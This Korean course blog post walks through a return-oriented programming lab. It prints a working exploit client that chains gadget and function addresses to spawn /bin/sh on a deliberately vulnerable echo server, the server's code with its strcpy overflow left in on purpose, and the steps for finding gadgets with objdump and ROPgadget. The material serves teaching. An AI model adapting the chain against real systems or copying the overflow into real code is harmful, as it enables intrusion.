발자취
시스템 보안 07-2. 코드 재사용 공격 실습 2 - ROP 본문
실습을 진행하기에 앞서 우선 필요한 파일은 echo_rop.c와 echo_server_ROP.c 두가지이다.
echo_rop.c는 ROP 공격을 위해 사용되는 파일이며, echo_server_ROP.c는 ROP의 공격 대상이 되는 echo 서버 파일이다.
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include "echo.h"
#define NOP 0x90
int main(int argc, char* argv[])
{
int so, op;
Packet pkt;
unsigned long start_address, end_address,first_arg_val, second_arg_val;
unsigned long prepare_address, pop_ret_address;
unsigned long execute_address, pop_pop_ret_address;
struct sockaddr_in remote_addr;
struct sockaddr_in local_addr;
if(argc != 3) {
printf("Usage: echo_retlib <ip_address> <port> \n");
exit(-1);
}
bzero(&remote_addr, sizeof(struct sockaddr_in));
bzero(&local_addr, sizeof(struct sockaddr_in));
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr.s_addr = inet_addr(argv[1]);
remote_addr.sin_port = htons(atoi(argv[2]));
local_addr.sin_family = AF_INET;
if ((so = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Failure in creating socket\n");
exit(-1);
}
op = 1;
if (setsockopt(so, SOL_SOCKET, SO_REUSEADDR, (char *)&op, sizeof(op)) < 0) {
printf("Failure in setting socket options\n");
exit(-1);
}
if (bind(so, (struct sockaddr*) &local_addr, sizeof(struct sockaddr_in)) < 0) {
printf("Failure in binding port\n");
exit(-1);
}
if (connect(so, (struct sockaddr_in *) &remote_addr, sizeof(struct sockaddr_in)) < 0)
{
printf("Failure in connecting to %s\n", inet_ntoa(remote_addr.sin_addr));
exit(-1);
}
start_address = 0x;
prepare_address = 0x;
execute_address = 0x;
end_address = 0x;
pop_ret_address = 0x;
pop_pop_ret_address = 0x;
first_arg_val = 0x;
second_arg_val = 0x;
/********** Exploit Code Part ********************/
pkt.type = _TYPE_ECHO_;
memset(pkt.hostname, NOP, sizeof(pkt.hostname));
memset(pkt.buf, NOP, sizeof(pkt.buf)-1);
*(unsigned long *) &pkt.buf[12] = start_address;
*(unsigned long *) &pkt.buf[16] = pop_ret_address;
*(unsigned long *) &pkt.buf[20] = first_arg_val;
*(unsigned long *) &pkt.buf[24] = prepare_address;
*(unsigned long *) &pkt.buf[28] = pop_pop_ret_address;
*(unsigned long *) &pkt.buf[32] = first_arg_val;
*(unsigned long *) &pkt.buf[36] = second_arg_val;
*(unsigned long *) &pkt.buf[40] = execute_address;
*(unsigned long *) &pkt.buf[44] = pop_pop_ret_address;
*(unsigned long *) &pkt.buf[48] = first_arg_val;
*(unsigned long *) &pkt.buf[52] = second_arg_val;
*(unsigned long *) &pkt.buf[56] = end_address;
*(unsigned long *) &pkt.buf[60] = first_arg_val;
pkt.buf[BUFFER_SIZE-1]=0;
/********** Exploit Code Part ********************/
send(so, (char *)&pkt, sizeof(Packet), 0);
close(so);
}
echo_rop.c
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include"echo.h"
void doEcho(Packet *p)
{
char cmd[8];
strcpy(cmd,p->hostname);
printf("%s\n", cmd);
}
void executeShell(int i, int j)
{
if (i == j)
system("/bin/sh");
else
system("/bin/bash");
}
void prepareForShellExecution(int i, int j)
{
if (i == j)
system("bash --version");
else
system("uname -a");
}
void End(int k)
{
printf("End\n");
exit(0);
}
void Start(int i)
{
printf("Start\n");
}
int main(int argc, char *argv[])
{
int port=15000,create_socket,new_socket,addrlen;
Packet recvPacket;
struct sockaddr_in address;
printf("Current stack address: %8X\n",&address);
if(argc>1) port=atoi(argv[1]);
if ((create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0) {
printf("socket created\n");
} else {
printf("Fail to create socket\n");
return 1;
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(port);
if (bind(create_socket,(struct sockaddr *)&address,sizeof(address)) == 0) {
printf("Socket binded to port %d\n",port);
} else {
printf("Fail to bind socket\n");
return 1;
}
listen(create_socket,3);
addrlen = sizeof(struct sockaddr_in);
new_socket = accept(create_socket,(struct sockaddr *)&address,&addrlen);
if (new_socket > 0){
printf("The Client %s is connected...\n",inet_ntoa(address.sin_addr));
}
do{
bzero((char *)&recvPacket,sizeof(Packet));
recv(new_socket,(char *)&recvPacket,sizeof(Packet),0);
if(recvPacket.type == _TYPE_ECHO_)
doEcho(&recvPacket);
send(new_socket,(char *)&recvPacket,sizeof(Packet),0);
}while(recvPacket.type!=_TYPE_END_);
close(new_socket);
close(create_socket);
}
echo_server_ROP.c
echo_server_ROP.c의 내용을 살펴보면,
[48] start 함수: "start" 문자열을 출력함. 인자의 개수는 1개.
[41] End 함수: "End" 문자열 출력 후 exit 함수를 호출함. 인자의 개수는 1개.
[30] prepareForShellExecution 함수: 쉘을 실행하기 전에 준비하는 단계. 인자의 개수는 2개. 두 인자의 값이 같으면 "bash --version" 명령어를, 다르면 "uname -a" 명령어를 실행함.
[19] executeShell 함수: 쉘을 실제로 실행함. 인자의 개수는 2개. 두 인자의 값이 같으면 "/bin/sh" 쉘을, 다르면 "/bin/bash" 명령어를 실행함.
** 인자의 개수는 중요하다. 인자의 개수의 따라 어떤 가젯을 사용해야하는지가 결정되기 때문이다.
- 인자가 2개인 경우: pop_pop_ret_address 가젯 사용
- 인자가 1개인 경우: pop_ret_address 가젯 사용
→ 둘 다 인자를 빼주는 기능을 한다.
이제 적절한 주소 및 값을 찾아 echo_rop.c 68라인~ 부분에 넣어준 뒤 공격을 진행할 것이다.
우선 해야할 일은 다음과 같다.
1. start, prepareForShellExecution, executeShell, End 함수의 주소를 알아내기
2. pop_ret_address와 pop_pop_ret_address로 사용할 적절한 주소 찾기
3. 인자값 넣어주기
1. start, prepareForShellExecution, executeShell, End 함수의 주소를 알아내기

우선 서버 터미널에서 echo_server_ROP를 컴파일했다.

그 뒤, objdump 명령어를 사용하여 각 함수의 주소를 알아낸다.
* objdump: 해당 프로그램 안에 선언된 함수들의 주소를 알 수 있는 명령어
- start: 08049e52
- prepareForShellExecution: 08049ddb
- ExecuteShell: 08049d92
- End: 08049e24
위와 같이 알아낼 수 있었다.
2. pop_ret_address와 pop_pop_ret_address로 사용할 적절한 주소 찾기
pop_ret_address에서는 임의의 레지스터 X, 그리고 pop_ pop_ret_address에서는 임의의 레지스터 X와 Y를 필요로 한다.
레지스터 X는 'pop X ; ret'의 형태를 갖는 가젯을, 레지스터 Y는 'pop X ; pop Y ; ret'의 형태를 갖는 가젯을 찾아 지정해줄 것이다.

공격자 터미널에서 'ROPgadget' 명령어를 사용해 서버에서 사용하고 있는 가젯들을 확인하고 그 중 'pop'을 포함하는 가젯을 'a'라는 파일에 넣도록 하였다.

'a' 파일에서 필요로하는 형식과 같은 형태의 가젯을 찾는다.
'pop X ; ret'과 'pop X ; pop Y ; ret' 형식의 가젯이 필요하기 때문에 2535 라인의 가젯과 2529 라인의 가젯을 사용할 것이다.
ebx를 X로 esi를 Y로 사용할 것이다.
- pop_ret_address으로 사용할 가젯의 주소: 0x0804901e
- pop_ pop_ret_address으로 사용할 가젯의 주소: 0x0804af9e
이제 위에서 구한 주소들을 직접 echo_rop.c에 넣어줄 차례이다.

이렇게 넣어줬다.
first_arg_val, second_arg_val는 값을 비교하여 함수의 동작을 다르게 하는 기능 말고는 딱히 영향을 끼치는 곳이 없기 때문에 아무 값이나 넣어줘도 상관없다.
*다만 null 바이트가 포함되면 문제가 생길 수 있으니 포함하지 않는 값을 넣어줘야 한다!
이제 모든 준비가 끝났으니 실행을 해볼 것이다.

[공격자 터미널]
echo_rop을 컴파일 해준다.

[서버 터미널]
.echo_server_ROP를 실행한다.

[공격자 터미널]
echo_rop을 실행한다.

그러면 이와 같이 "Start"라는 문구가 뜨며 "bash --version"을 실행한 결과가 함께 뜬다.
그리고 /bin/sh이 실행되고, exit를 입력하면 "End"라는 문구가 뜨며 쉘이 종료된다.
(이는 인자의 값이 서로 달라서 나타나는 결과이고, 서로 다른 값을 인자에 넣어주면 다른 결과가 나타날 것이다.)
원리

이는 코드 세그먼트의 모습이다.
함수가 실행되는 동안 사용한 인자는 다음 함수를 실행하기 전에 pop 해줘야 한다.
다음과 같은 절차를 밟는다.
1.
start 함수가 실행될 때 first_arg_val라는 인자를 가지고 실행된다. (실행할 때 이 start 함수를 pop하기 때문에 스택에서 빠진다.)
→ 실행이 종료되면 ret를 통해서 pop_ret_address로 가게 된다. (pop_ret_address를 실행할 때 이 함수를 pop하기 때문에 스택에서 빠진다.)
→ 스택의 탑(start, pop_ ret_address가 빠진 상태이므로 first_arg_val이다.)에 있는 내용을 빼서 다른 레지스터에 넣어주고 ret을 한다.
2.
prepareForShellExecution 함수가 실행될 때 first_arg_val, second_arg_val 라는 인자를 가지고 실행된다. (실행할 때 이 함수를 pop하기 때문에 스택에서 빠진다.)
→ 실행이 종료되면 ret를 통해서 pop_ret_address로 가게 된다. (pop_ret_address를 실행할 때 이 함수를 pop하기 때문에 스택에서 빠진다.)
→ 스택의 탑(first_arg_val, second_arg_val)에 있는 내용을 빼서 다른 레지스터에 넣어주고 ret을 한다.
3.
executeShell 함수가 실행될 때 first_arg_val, second_arg_val 라는 인자를 가지고 실행된다. (실행할 때 이 함수를 pop하기 때문에 스택에서 빠진다.)
→ 실행이 종료되면 ret를 통해서 pop_ret_address로 가게 된다. (pop_ret_address를 실행할 때 이 함수를 pop하기 때문에 스택에서 빠진다.)
→ 스택의 탑(first_arg_val, second_arg_val)에 있는 내용을 빼서 다른 레지스터에 넣어주고 ret을 한다.
4.
End 함수가 실행될 때 first_arg_val라는 인자를 가지고 실행된다.
(End는 마지막 함수이므로 pop 해줄 필요가 없다)
'3-2 > 시스템보안' 카테고리의 다른 글
| 시스템 보안 07-2. 코드 재사용 공격 실습 1 - RTL (0) | 2023.12.15 |
|---|---|
| 시스템 보안 07-1. 코드 재사용 공격 (0) | 2023.12.15 |
| 시스템 보안 05-2. 버퍼 오버플로우 연습문제 (0) | 2023.12.14 |
| 시스템 보안 06. 쉘코드 기본 개념 및 연습문제 (0) | 2023.11.21 |
| 시스템 보안 05-1. 버퍼 오버플로우 공격 (0) | 2023.11.03 |